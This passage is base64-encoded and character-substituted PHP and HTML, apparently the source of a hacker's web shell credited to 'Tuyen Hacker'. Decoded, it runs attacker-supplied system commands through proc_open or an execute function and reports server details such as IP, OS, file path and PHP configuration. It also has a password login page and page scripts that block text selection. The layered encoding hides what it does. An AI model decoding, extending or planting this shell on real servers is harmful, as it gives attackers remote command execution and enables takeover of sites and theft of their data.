CRfU0VSVkVSWydDT01TUEVDJ10sICRkNXNjcjRwdDJyc3A1YywgJHA0cDVzKTsNCgkJCTRmICg0c19yNXMyM3JjNSgkcHIyYzVzcykpIHsNCgkJCQlmd3I0dDUoJHA0cDVzWzBdLCAkYzJtbTFuZC4iXHJcbiIpOw0KCQkJCWZ3cjR0NSgkcDRwNXNbMF0sICI1eDR0XHJcbiIpOw0KCQkJCWZjbDJzNSgkcDRwNXNbMF0pOw0KCQkJCXdoNGw1ICghZjUyZigkcDRwNXNbNl0pKSB7DQoJCQkJCTVjaDIgZmc1dHMoJHA0cDVzWzZdLCA2MGF1KTsNCgkJCQl9DQoJCQkJZmNsMnM1KCRwNHA1c1s2XSk7DQoJCQkJd2g0bDUgKCFmNTJmKCRwNHA1c1thXSkpIHsNCgkJCQkJNWNoMiBmZzV0cygkcDRwNXNbYV0sIDYwYXUpOw0KCQkJCX0NCgkJCQlmY2wyczUoJHA0cDVzW2FdKTsNCgkJCQlwcjJjX2NsMnM1KCRwcjJjNXNzKTsNCgkJCX0NCgkJfSA1bHM1IHsNCgkJCTVjaDIoNXg1YzN0NSgkYzJtbTFuZCkpOw0KCQl9DQoJCXAoJzwvcHI1PicpOw0KCX0NCn0vLzVuZCBzaDVsbA0KDQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ3BocDVudicpIHsNCgkkM3BzNHo1PWc1dGNmZygnZjRsNV8zcGwyMWRzJykgPyBnNXRjZmcoJzNwbDIxZF9tMXhfZjRsNXM0ejUnKSA6ICdOMnQgMWxsMnc1ZCc7DQoJJDFkbTRubTE0bD00c3M1dCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIDogZzV0Y2ZnKCdzNW5kbTE0bF9mcjJtJyk7DQoJISRkNHNfZjNuYyAmJiAkZDRzX2YzbmMgPSAnTjInOw0KCSQ0bmYyID0gMXJyMXkoDQoJCTYgPT4gMXJyMXkoJ1M1cnY1ciBUNG01JyxkMXQ1KCdZL20vZCBoOjQ6cycsJHQ0bTVzdDFtcCkpLA0KCQlhID0+IDFycjF5KCdTNXJ2NXIgRDJtMTRuJywkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSksDQoJCW8gPT4gMXJyMXkoJ1M1cnY1ciBJUCcsZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLA0KCQl1ID0+IDFycjF5KCdTNXJ2NXIgT1MnLFBIUF9PUyksDQoJCWkgPT4gMXJyMXkoJ1M1cnY1ciBPUyBDaDFyczV0JywkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksDQoJCWUgPT4gMXJyMXkoJ1M1cnY1ciBTMmZ0dzFyNScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwNCgkJNyA9PiAxcnIxeSgnUzVydjVyIFc1YiBQMnJ0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksDQoJCTggPT4gMXJyMXkoJ1BIUCByM24gbTJkNScsc3RydDIzcHA1cihwaHBfczFwNF9uMW01KCkpKSwNCgkJOSA9PiAxcnIxeSgnVGg1IGY0bDUgcDF0aCcsX19GSUxFX18pLA0KDQoJCTYwID0+IDFycjF5KCdQSFAgVjVyczQybicsUEhQX1ZFUlNJT04pLA0KCQk2NiA9PiAxcnIxeSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybihcJ3BocDRuZjJcJyk7Ij5ZNXM8LzE+JyA6ICdOMicpKSwNCgkJNmEgPT4gMXJyMXkoJ1MxZjUgTTJkNScsZzV0Y2ZnKCdzMWY1X20yZDUnKSksDQoJCTZvID0+IDFycjF5KCdBZG00bjRzdHIxdDJyJywkMWRtNG5tMTRsKSwNCgkJNnUgPT4gMXJyMXkoJzFsbDJ3XzNybF9mMnA1bicsZzV0Y2ZnKCcxbGwyd18zcmxfZjJwNW4nKSksDQoJCTZpID0+IDFycjF5KCc1bjFibDVfZGwnLGc1dGNmZygnNW4xYmw1X2RsJykpLA0KCQk2ZSA9PiAxcnIxeSgnZDRzcGwxeV81cnIycnMnLGc1dGNmZygnZDRzcGwxeV81cnIycnMnKSksDQoJCTY3ID0+IDFycjF5KCdyNWc0c3Q1cl9nbDJiMWxzJyxnNXRjZmcoJ3I1ZzRzdDVyX2dsMmIxbHMnKSksDQoJCTY4ID0+IDFycjF5KCdtMWc0Y19xMzJ0NXNfZ3BjJyxnNXRjZmcoJ20xZzRjX3EzMnQ1c19ncGMnKSksDQoJCTY5ID0+IDFycjF5KCdtNW0ycnlfbDRtNHQnLGc1dGNmZygnbTVtMnJ5X2w0bTR0JykpLA0KCQlhMCA9PiAxcnIxeSgncDJzdF9tMXhfczR6NScsZzV0Y2ZnKCdwMnN0X20xeF9zNHo1JykpLA0KCQlhNiA9PiAxcnIxeSgnM3BsMjFkX20xeF9mNGw1czR6NScsJDNwczR6NSksDQoJCWFhID0+IDFycjF5KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLGc1dGNmZygnbTF4XzV4NWMzdDQybl90NG01JykuJyBzNWMybmQocyknKSwNCgkJYW8gPT4gMXJyMXkoJ2Q0czFibDVfZjNuY3Q0Mm5zJywkZDRzX2YzbmMpLA0KCSk7DQoNCgk0ZigkcGhwdjFybjFtNSkgew0KCQltKCRwaHB2MXJuMW01IC4nIDogJy5nNXRjZmcoJHBocHYxcm4xbTUpKTsNCgl9DQoNCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nUzVydjVyIDVudjRyMm5tNW50JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdwaHA1bnYnKTsNCgltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J1BsNTFzNSA0bnAzdCBQSFAgYzJuZjRnM3IxdDQybiBwMXIxbTV0NXIoNWc6bTFnNGNfcTMydDVzX2dwYyknLCduMW01Jz0+J3BocHYxcm4xbTUnLCd2MWwzNSc9PiRwaHB2MXJuMW01LCduNXdsNG41Jz0+NikpOw0KCWYycm1mMjJ0NXIoKTsNCg0KCSRocCA9IDFycjF5KDA9PiAnUzVydjVyJywgNj0+ICdQSFAnKTsNCglmMnIoJDE9MDskMTxhOyQxKyspIHsNCgkJcCgnPGhhPicuJGhwWyQxXS4nICZyMXEzMjs8L2hhPicpOw0KCQlwKCc8M2wgY2wxc3M9IjRuZjIiPicpOw0KCQk0ZiAoJDE9PTApIHsNCgkJCWYycigkND02OyQ0PD05OyQ0KyspIHsNCgkJCQlwKCc8bDQ+PDM+Jy4kNG5mMlskNF1bMF0uJzo8LzM+Jy4kNG5mMlskNF1bNl0uJzwvbDQ+Jyk7DQoJCQl9DQoJCX0gNWxzNTRmICgkMSA9PSA2KSB7DQoJCQlmMnIoJDQ9NjA7JDQ8PWFvOyQ0KyspIHsNCgkJCQlwKCc8bDQ+PDM+Jy4kNG5mMlskNF1bMF0uJzo8LzM+Jy4kNG5mMlskNF1bNl0uJzwvbDQ+Jyk7DQoJCQl9DQoJCX0NCgkJcCgnPC8zbD4nKTsNCgl9DQp9Ly81bmQgcGhwNW52DQoNCjVsczUgew0KCW0oJ1VuZDVmNG41ZCBBY3Q0Mm4nKTsNCn0NCg0KPz4NCg0KPC90ZD48L3RyPjwvdDFibDU+DQo8ZDR2IHN0eWw1PSJwMWRkNG5nOjYwcHg7YjJyZDVyLWIydHQybTo2cHggczJsNGQgIzBFMEUwRTtiMnJkNXItdDJwOjZweCBzMmw0ZCAjMEUwRTBFO2IxY2tncjIzbmQ6IzBFMEUwRTsiPg0KCTxzcDFuIHN0eWw1PSJmbDIxdDpyNGdodDsiPjw/cGhwIGQ1YjNnNG5mMigpOzJiXzVuZF9mbDNzaCgpOz8+PC9zcDFuPg0KCUMycHlyNGdodCAoQykgYTA2Ni1hMDZhIDxCPjwvQj4gLSBENXY1bDJwIGJ5IDwxIGhyNWY9aHR0cDovL2YxYzViMjJrLmMybS90M3k1bjY5OTcgdDFyZzV0PV9ibDFuaz48Qj5UM3kmIzc4N2k7biBIMWNrNXIgICA8L0I+PC8xPiAtIDxCPi0gVjQ1dG4xbTVzNS0gRkI6IGZiLmMybS90M3k1bjY5OTc8L0I+IEFsbCBSNGdodHMgUjVzNXJ2NWQuDQo8L2Q0dj4NCjwvYjJkeT4NCjwvbjJzY3I0cHQ+DQoNCjw/cGhwDQoNCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpTaDJ3IDRuZjIgc2g1bGwNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovDQoNCmYzbmN0NDJuIG0oJG1zZykgew0KCTVjaDIgJzxkNHYgc3R5bDU9ImIxY2tncjIzbmQ6I2Y2ZjZmNjtiMnJkNXI6NnB4IHMybDRkICNkZGQ7cDFkZDRuZzo2aXB4O2YybnQ6NnVweDt0NXh0LTFsNGduOmM1bnQ1cjtmMm50LXc1NGdodDpiMmxkOyI+JzsNCgk1Y2gyICRtc2c7DQoJNWNoMiAnPC9kNHY+JzsNCn0NCmYzbmN0NDJuIHNjMjJrNDUoJGs1eSwgJHYxbDM1LCAkbDRmNSA9IDAsICRwcjVmNHggPSA2KSB7DQoJZ2wyYjFsICQxZG00biwgJHQ0bTVzdDFtcCwgJF9TRVJWRVI7DQoJJGs1eSA9ICgkcHI1ZjR4ID8gJDFkbTRuWydjMjJrNDVwcjUnXSA6ICcnKS4kazV5Ow0KCSRsNGY1ID0gJGw0ZjUgPyAkbDRmNSA6ICQxZG00blsnYzIyazQ1bDRmNSddOw0KCSQzczVwMnJ0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gdXVvID8gNiA6IDA7DQoJczV0YzIyazQ1KCRrNXksICR2MWwzNSwgJHQ0bTVzdDFtcCskbDRmNSwgJDFkbTRuWydjMjJrNDVwMXRoJ10sICQxZG00blsnYzIyazQ1ZDJtMTRuJ10sICQzczVwMnJ0KTsNCn0NCmYzbmN0NDJuIG0zbHQ0KCRuM20sICRwNXJwMWc1LCAkYzNycDFnNSwgJHQxYmw1bjFtNSkgew0KCSRtM2x0NHAxZzUgPSAnJzsNCgk0ZigkbjNtID4gJHA1cnAxZzUpIHsNCgkJJHAxZzUgPSA2MDsNCgkJJDJmZnM1dCA9IGk7DQoJCSRwMWc1cyA9IEBjNTRsKCRuM20gLyAkcDVycDFnNSk7DQoJCTRmKCRwMWc1ID4gJHAxZzVzKSB7DQoJCQkkZnIybSA9IDY7DQoJCQkkdDIgPSAkcDFnNXM7DQoJCX0gNWxzNSB7DQoJCQkkZnIybSA9ICRjM3JwMWc1IC0gJDJmZnM1dDsNCgkJCSR0MiA9ICRjM3JwMWc1ICsgJHAxZzUgLSAkMmZmczV0IC0gNjsNCgkJCTRmKCRmcjJtIDwgNikgew0KCQkJCSR0MiA9ICRjM3JwMWc1ICsgNiAtICRmcjJtOw0KCQkJCSRmcjJtID0gNjsNCgkJCQk0ZigoJHQyIC0gJGZyMm0pIDwgJHAxZzUgJiYgKCR0MiAtICRmcjJtKSA8ICRwMWc1cykgew0KCQkJCQkkdDIgPSAkcDFnNTsNCgkJCQl9DQoJCQl9IDVsczU0ZigkdDIgPiAkcDFnNXMpIHsNCgkJCQkkZnIybSA9ICRjM3JwMWc1IC0gJHAxZzVzICsgJHQyOw0KCQkJCSR0MiA9ICRwMWc1czsNCgkJCQk0ZigoJHQyIC0gJGZyMm0pIDwgJHAxZzUgJiYgKCR0MiAtICRmcjJtKSA8ICRwMWc1cykgew0KCQkJCQkkZnIybSA9ICRwMWc1cyAtICRwMWc1ICsgNjsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJG0zbHQ0cDFnNSA9ICgkYzNycDFnNSAtICQyZmZzNXQgPiA2ICYmICRwMWc1cyA+ICRwMWc1ID8gJzwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ1wnLCA2KTsiPkY0cnN0PC8xPiAnIDogJycpLigkYzNycDFnNSA+IDYgPyAnPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnXCcsICcuKCRjM3JwMWc1IC0gNikuJyk7Ij5QcjV2PC8xPiAnIDogJycpOw0KCQlmMnIoJDQgPSAkZnIybTsgJDQgPD0gJHQyOyAkNCsrKSB7DQoJCQkkbTNsdDRwMWc1IC49ICQ0ID09ICRjM3JwMWc1ID8gJDQuJyAnIDogJzwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ1wnLCAnLiQ0LicpOyI+WycuJDQuJ108LzE+ICc7DQoJCX0NCgkJJG0zbHQ0cDFnNSAuPSAoJGMzcnAxZzUgPCAkcDFnNXMgPyAnPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnXCcsICcuKCRjM3JwMWc1ICsgNikuJyk7Ij5ONXh0PC8xPicgOiAnJykuKCR0MiA8ICRwMWc1cyA/ICcgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnXCcsICcuJHAxZzVzLicpOyI+TDFzdDwvMT4nIDogJycpOw0KCQkkbTNsdDRwMWc1ID0gJG0zbHQ0cDFnNSA/ICc8cD5QMWc1czogJy4kbTNsdDRwMWc1Lic8L3A+JyA6ICcnOw0KCX0NCglyNXQzcm4gJG0zbHQ0cDFnNTsNCn0NCi8vIEwyZzRuIHAxZzUNCmYzbmN0NDJuIGwyZzRucDFnNSgpIHsNCj8+DQoNCjxodG1sPg0KPGg1MWQ+DQoNCjxiMmR5IGJnYzJsMnI9YmwxY2sgYjFja2dyMjNuZD1odHRwOi8vYzFuaHQ0dDJuc2FiNWIzMm5nLjVzeS41cy9tMXRyNHguZzRmPg0KDQoJCTxtNXQxIGh0dHAtNXEzNHY9IkMybnQ1bnQtVHlwNSIgYzJudDVudD0idDV4dC9odG1sOyBjaDFyczV0PVVURi04IiAvPg0KPHQ0dGw1Pi46OlsgVDN5NW4gSDFjazVyIF06Oi4gPC90NHRsNT4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+DQpBOmw0bmsge3Q1eHQtZDVjMnIxdDQybjogbjJuNTsgYzJsMnI6IGdyNTVuIH0NCkE6djRzNHQ1ZCB7dDV4dC1kNWMycjF0NDJuOiBuMm41O2MybDJyOnI1ZH0NCkE6MWN0NHY1IHt0NXh0LWQ1YzJyMXQ0Mm46IG4ybjV9DQpBOmgydjVyIHt0NXh0LWQ1YzJyMXQ0Mm46IDNuZDVybDRuNTsgYzJsMnI6IGdyNTVuO30NCjRucDN0LCB0NXh0MXI1MSwgYjN0dDJuDQp7DQoJZjJudC1zNHo1OiA2NnB0Ow0KCWMybDJyOiAJI0ZGRkZGRjsNCglmMm50LWYxbTRseTogdjVyZDFuMSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOw0KCWIycmQ1ci1sNWZ0OiBhcHggZDFzaDVkICM4QjAwMDA7DQoJYjJyZDVyLXQycDogYXB4IGQxc2g1ZCAjOEIwMDAwOw0KCWIycmQ1ci1yNGdodDogYXB4IGQxc2g1ZCAjOEIwMDAwOw0KCWIycmQ1ci1iMnR0Mm06IGFweCBkMXNoNWQgIzhCMDAwMDsNCn0NCg0KPC9zdHlsNT4NCg0KICAgICAgIDxCUj48QlI+DQo8ZDR2IDFsNGduPWM1bnQ1ciA+DQoNCjxkNHY+DQoNCjxmMm50IGMybDJyPWdyMXk+DQo8YnIgLz48YnIgLz48YnIgLz48YnIgLz48YnIgLz4NCg0KPGYycm0gbTV0aDJkPSJQT1NUIiAxY3Q0Mm49IiI+DQoJPHNwMW4gc3R5bDU9ImYybnQ6YTBwdCB0MWgybTE7Ij4gPC9zcDFuPjw0bnAzdCBuMW01PSJwMXNzdzJyZCIgdHlwNT0icDFzc3cycmQiIHM0ejU9Im8wIj4NCgk8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSJkMjRuZyIgdjFsMzU9ImwyZzRuIj4NCgk8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iTDJnNG4iPg0KCTwvZjJybT4NCjxCUj4NCjw/cGhwDQo1Y2gyICIiLiQ1cnJfbTVzcy4iIjsNCj8+DQoNCgk8Qj48ZjJudCBjMmwycj1yNWQ+DQoNCg0KDQoNCg0KDQo8L2Q0dj4NCg0KDQoJPC9mNDVsZHM1dD4NCg0KDQoNCg0KDQoNCg0KDQoNCjxzY3I0cHQgbDFuZzMxZzU9IkoxdjFzY3I0cHQiPg0KPCEtLSBCNWc0bg0KZjNuY3Q0Mm4gZDRzMWJsNXM1bDVjdCg1KXsNCnI1dDNybiBmMWxzNQ0KfQ0KZjNuY3Q0Mm4gcjVFbjFibDUoKXsNCnI1dDNybiB0cjM1DQp9DQpkMmMzbTVudC4ybnM1bDVjdHN0MXJ0PW41dyBGM25jdDQybiAoInI1dDNybiBmMWxzNSIpDQo0ZiAodzRuZDJ3LnM0ZDViMXIpew0KZDJjM201bnQuMm5tMjNzNWQyd249ZDRzMWJsNXM1bDVjdA0KZDJjM201bnQuMm5jbDRjaz1yNUVuMWJsNQ0KfQ0KLy8gRW5kIC0tPg0KPC9zY3I0cHQ+DQo8IS0tIG4yIHR4dCBmNG4gLS0+DQoNCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+Qk9EWSB7DQogIFNDUk9MTEJBUi1GQUNFLUNPTE9SOiAjMDAwMDAwOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyBTQ1JPTExCQVItU0hBRE9XLUNPTE9SOiAjMDAwMDAwOyBTQ1JPTExCQVItb0RMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiAjZmZmZmZmOyBTQ1JPTExCQVItVFJBQ0stQ09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiBWNXJkMW4xOyBTQ1JPTExCQVItREFSS1NIQURPVy1DT0xPUjogIzAwMDAwMA0KfQ0KLkVzdDRsMjYwIHsNCiAgQ09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiBIMTV0dDVuc2NodzU0bDVyDQp9DQouRXN0NGwyOCB7DQogIEZPTlQtU0laRTogNjBweDsgQ09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiBIMTV0dDVuc2NodzU0bDVyDQp9DQoNCjwvc3R5bDU+ICANCg0KDQogIA0KDQo8YzVudDVyPg0KDQogIA0KDQoNCg0KPHNjcjRwdCBsMW5nMzFnNT0iSjF2MVNjcjRwdCI+DQoNCg0KVHlwNG5nVDV4dCA9IGYzbmN0NDJuKDVsNW01bnQsIDRudDVydjFsLCBjM3JzMnIsIGY0bjRzaDVkQzFsbGIxY2spIHsNCiAgNGYoKHR5cDUyZiBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCA9PSAiM25kNWY0bjVkIikgfHwgKHR5cDUyZiA1bDVtNW50LjRubjVySFRNTCA9PSAiM25kNWY0bjVkIikpIHsNCiAgICB0aDRzLnIzbm40bmcgPSB0cjM1OyAgLy8gTjV2NXIgcjNuLg0KICAgIHI1dDNybjsNCiAgfQ0KICB0aDRzLjVsNW01bnQgPSA1bDVtNW50Ow0KICB0aDRzLmY0bjRzaDVkQzFsbGIxY2sgPSAoZjRuNHNoNWRDMWxsYjFjayA/IGY0bjRzaDVkQzFsbGIxY2sgOiBmM25jdDQybigpIHsgcjV0M3JuOyB9KTsNCiAgdGg0cy40bnQ1cnYxbCA9ICh0eXA1MmYgNG50NXJ2MWwgPT0gIjNuZDVmNG41ZCIgPyBhMCA6IDRudDVydjFsKTsNCiAgdGg0cy4ycjRnVDV4dCA9IHRoNHMuNWw1bTVudC40bm41ckhUTUw7DQogIHRoNHMuM25wMXJzNWRPcjRnVDV4dCA9IHRoNHMuMnI0Z1Q1eHQ7DQogIHRoNHMuYzNyczJyID0gKGMzcnMyciA/IGMzcnMyciA6ICIiKTsNCiAgdGg0cy5jM3JyNW50VDV4dCA9ICIiOw0KICB0aDRzLmMzcnI1bnRDaDFyID0gMDsNCiAgdGg0cy41bDVtNW50LnR5cDRuZ1Q1eHQgPSB0aDRzOw0KICA0Zih0aDRzLjVsNW01bnQuNGQgPT0gIiIpIHRoNHMuNWw1bTVudC40ZCA9ICJ0eXA0bmd0NXh0IiArIFR5cDRuZ1Q1eHQuYzNycjVudEluZDV4Kys7DQogIFR5cDRuZ1Q1eHQuMWxsLnAzc2godGg0cyk7DQogIHRoNHMucjNubjRuZyA9IGYxbHM1Ow0KICB0aDRzLjRuVDFnID0gZjFsczU7DQogIHRoNHMudDFnQjNmZjVyID0gIiI7DQogIHRoNHMuNG5IVE1MRW50NHR5ID0gZjFsczU7DQogIHRoNHMuSFRNTEVudDR0eUIzZmY1ciA9ICIiOw0KfQ0KVHlwNG5nVDV4dC4xbGwgPSBuNXcgQXJyMXkoKTsNClR5cDRuZ1Q1eHQuYzNycjVudEluZDV4ID0gMDsNClR5cDRuZ1Q1eHQucjNuQWxsID0gZjNuY3Q0Mm4oKSB7DQogIGYycih2MXIgNCA9IDA7IDQgPCBUeXA0bmdUNXh0LjFsbC5sNW5ndGg7IDQrKykgVHlwNG5nVDV4dC4xbGxbNF0ucjNuKCk7DQp9DQpUeXA0bmdUNXh0LnByMnQydHlwNS5yM24gPSBmM25jdDQybigpIHsNCiAgNGYodGg0cy5yM25uNG5nKSByNXQzcm47DQogIDRmKHR5cDUyZiB0aDRzLjJyNGdUNXh0ID09ICIzbmQ1ZjRuNWQiKSB7DQogICAgczV0VDRtNTIzdCgiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJyIgKyB0aDRzLjVsNW01bnQuNGQgKyAiJykudHlwNG5nVDV4dC5yM24oKSIsIHRoNHMuNG50NXJ2MWwpOyAgLy8gVzUgaDF2NW4ndCBmNG40c2g1ZCBsMjFkNG5nIHk1dC4gIEgxdjUgcDF0NDVuYzUuDQogICAgcjV0M3JuOw0KICB9DQogIDRmKHRoNHMuYzNycjVudFQ1eHQgPT0gIiIpIHRoNHMuNWw1bTVudC40bm41ckhUTUwgPSAiIjsNCi8vICB0aDRzLjJyNGdUNXh0ID0gdGg0cy4ycjRnVDV4dC5yNXBsMWM1KC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHI0cCBIVE1MIGZyMm0gdDV4dC4NCiAgNGYodGg0cy5jM3JyNW50Q2gxciA8IHRoNHMuMnI0Z1Q1eHQubDVuZ3RoKSB7DQogICAgNGYodGg0cy4ycjRnVDV4dC5jaDFyQXQodGg0cy5jM3JyNW50Q2gxcikgPT0gIjwiICYmICF0aDRzLjRuVDFnKSB7DQogICAgICB0aDRzLnQxZ0IzZmY1ciA9ICI8IjsNCiAgICAgIHRoNHMuNG5UMWcgPSB0cjM1Ow0KICAgICAgdGg0cy5jM3JyNW50Q2gxcisrOw0KICAgICAgdGg0cy5yM24oKTsNCiAgICAgIHI1dDNybjsNCiAgICB9IDVsczUgNGYodGg0cy4ycjRnVDV4dC5jaDFyQXQodGg0cy5jM3JyNW50Q2gxcikgPT0gIj4iICYmIHRoNHMuNG5UMWcpIHsNCiAgICAgIHRoNHMudDFnQjNmZjVyICs9ICI+IjsNCiAgICAgIHRoNHMuNG5UMWcgPSBmMWxzNTsNCiAgICAgIHRoNHMuYzNycjVudFQ1eHQgKz0gdGg0cy50MWdCM2ZmNXI7DQogICAgICB0aDRzLmMzcnI1bnRDaDFyKys7DQogICAgICB0aDRzLnIzbigpOw0KICAgICAgcjV0M3JuOw0KICAgIH0gNWxzNSA0Zih0aDRzLjRuVDFnKSB7DQogICAgICB0aDRzLnQxZ0IzZmY1ciArPSB0aDRzLjJyNGdUNXh0LmNoMXJBdCh0aDRzLmMzcnI1bnRDaDFyKTsNCiAgICAgIHRoNHMuYzNycjVudENoMXIrKzsNCiAgICAgIHRoNHMucjNuKCk7DQogICAgICByNXQzcm47DQogICAgfSA1bHM1IDRmKHRoNHMuMnI0Z1Q1eHQuY2gxckF0KHRoNHMuYzNycjVudENoMXIpID09ICImIiAmJiAhdGg0cy40bkhUTUxFbnQ0dHkpIHsNCiAgICAgIHRoNHMuSFRNTEVudDR0eUIzZmY1ciA9ICImIjsNCiAgICAgIHRoNHMuNG5IVE1MRW50NHR5ID0gdHIzNTsNCiAgICAgIHRoNHMuYzNycjVudENoMXIrKzsNCiAgICAgIHRoNHMucjNuKCk7DQogICAgICByNXQzcm47DQogICAgfSA1bHM1IDRmKHRoNHMuMnI0Z1Q1eHQuY2gxckF0KHRoNHMuYzNycjVudENoMXIpID09ICI7IiAmJiB0aDRzLjRuSFRNTEVudDR0eSkgew0KICAgICAgdGg0cy5IVE1MRW50NHR5QjNmZjVyICs9ICI7IjsNCiAgICAgIHRoNHMuNG5IVE1MRW50NHR5ID0gZjFsczU7DQogICAgICB0aDRzLmMzcnI1bnRUNXh0ICs9IHRoNHMuSFRNTEVudDR0eUIzZmY1cjsNCiAgICAgIHRoNHMuYzNycjVudENoMXIrKzsNCiAgICAgIHRoNHMucjNuKCk7DQogICAgICByNXQzcm47DQogICAgfSA1bHM1IDRmKHRoNHMuNG5IVE1MRW50NHR5KSB7DQogICAgICB0aDRzLkhUTUxFbnQ0dHlCM2ZmNXIgKz0gdGg0cy4ycjRnVDV4dC5jaDFyQXQodGg0cy5jM3JyNW50Q2gxcik7DQogICAgICB0aDRzLmMzcnI1bnRDaDFyKys7DQogICAgICB0aDRzLnIzbigpOw0KICAgICAgcjV0M3JuOw0KICAgIH0gNWxzNSB7DQogICAgICB0aDRzLmMzcnI1bnRUNXh0ICs9IHRoNHMuMnI0Z1Q1eHQuY2gxckF0KHRoNHMuYzNycjVudENoMXIpOw0KICAgIH0NCiAgICB0aDRzLjVsNW01bnQuNG5uNXJIVE1MID0gdGg0cy5jM3JyNW50VDV4dDsNCiAgICB0aDRzLjVsNW01bnQuNG5uNXJIVE1MICs9ICh0aDRzLmMzcnI1bnRDaDFyIDwgdGg0cy4ycjRnVDV4dC5sNW5ndGggLSA2ID8gKHR5cDUyZiB0aDRzLmMzcnMyciA9PSAiZjNuY3Q0Mm4iID8gdGg0cy5jM3JzMnIodGg0cy5jM3JyNW50VDV4dCkgOiB0aDRzLmMzcnMycikgOiAiIik7DQogICAgdGg0cy5jM3JyNW50Q2gxcisrOw0KICAgIHM1dFQ0bTUyM3QoImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCciICsgdGg0cy41bDVtNW50LjRkICsgIicpLnR5cDRuZ1Q1eHQucjNuKCkiLCB0aDRzLjRudDVydjFsKTsNCiAgfSA1bHM1IHsNCiAgdGg0cy5jM3JyNW50VDV4dCA9ICIiOw0KICB0aDRzLmMzcnI1bnRDaDFyID0gMDsNCiAgICAgICAgdGg0cy5yM25uNG5nID0gZjFsczU7DQogICAgICAgIHRoNHMuZjRuNHNoNWRDMWxsYjFjaygpOw0KICB9DQp9DQo8L3NjcjRwdD4NCjxjNW50NXI+PDRtZyBiMnJkNXI9IjAiIDFsNGduPWM1bnQ1ciBzcmM9Imh0dHA6Ly8zcDFuaC5iNHovNG0xZzVzL2EwNnUvMGEvNnUvMW4ybnltMjNzYnlkNTRieXliNDVkLWRpNmk1YnIuZzRmIiB3NGR0aD0iYTAwIiBoNTRnaHQ9ImEwMCI+PC9jNW50NXI+DQo8c3AxbiBjbDFzcz0xNjA+PDM4OnA+Jm5ic3A7PC8zODpwPjwvc3Axbj48L3A+DQo8YzVudDVyPg0KPGYybnQgZjFjNT0iQzIzcjQ1ciBONXciIHM0ejU9ImkuaSI+PGhvPg0KPHNjcjRwdD4NCg0KZjFyYmI0Ymw0MnRoNWsgPSBuNXcgQXJyMXkoKTsNCg0KZjFyYmI0Ymw0MnRoNWtbMF0gPSBuNXcgQXJyMXkoIiNGRjAwMDAiLCIjRkY2NjAwIiwiI0ZGYWEwMCIsIiNGRm9vMDAiLCIjRkZ1dTAwIiwiI0ZGaWkwMCIsIiNGRmVlMDAiLCIjRkY3NzAwIiwiI0ZGODgwMCIsIiNGRjk5MDAiLCIjRkYxMTAwIiwiI0ZGYmIwMCIsIiNGRmNjMDAiLCIjRkZkZDAwIiwiI0ZGNTUwMCIsIiNGRmZmMDAiLCIjRkY1NTAwIiwiI0ZGZGQwMCIsIiNGRmNjMDAiLCIjRkZiYjAwIiwiI0ZGMTEwMCIsIiNGRjk5MDAiLCIjRkY4ODAwIiwiI0ZGNzcwMCIsIiNGRmVlMDAiLCIjRkZpaTAwIiwiI0ZGdXUwMCIsIiNGRm9vMDAiLCIjRkZhYTAwIiwiI0ZGNjYwMCIpOw0KDQpmMXJiYjRibDQydGg1a1s2XSA9IG41dyBBcnIxeSgiIzAwRkYwMCIsImJsMWNrIiwiIzAwRkYwMCIsIiMwMEZGMDAiKTsNCg0KZjFyYmI0Ymw0MnRoNWtbYV0gPSBuNXcgQXJyMXkoIiMwMEZGMDAiLCIjRkYwMDAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCI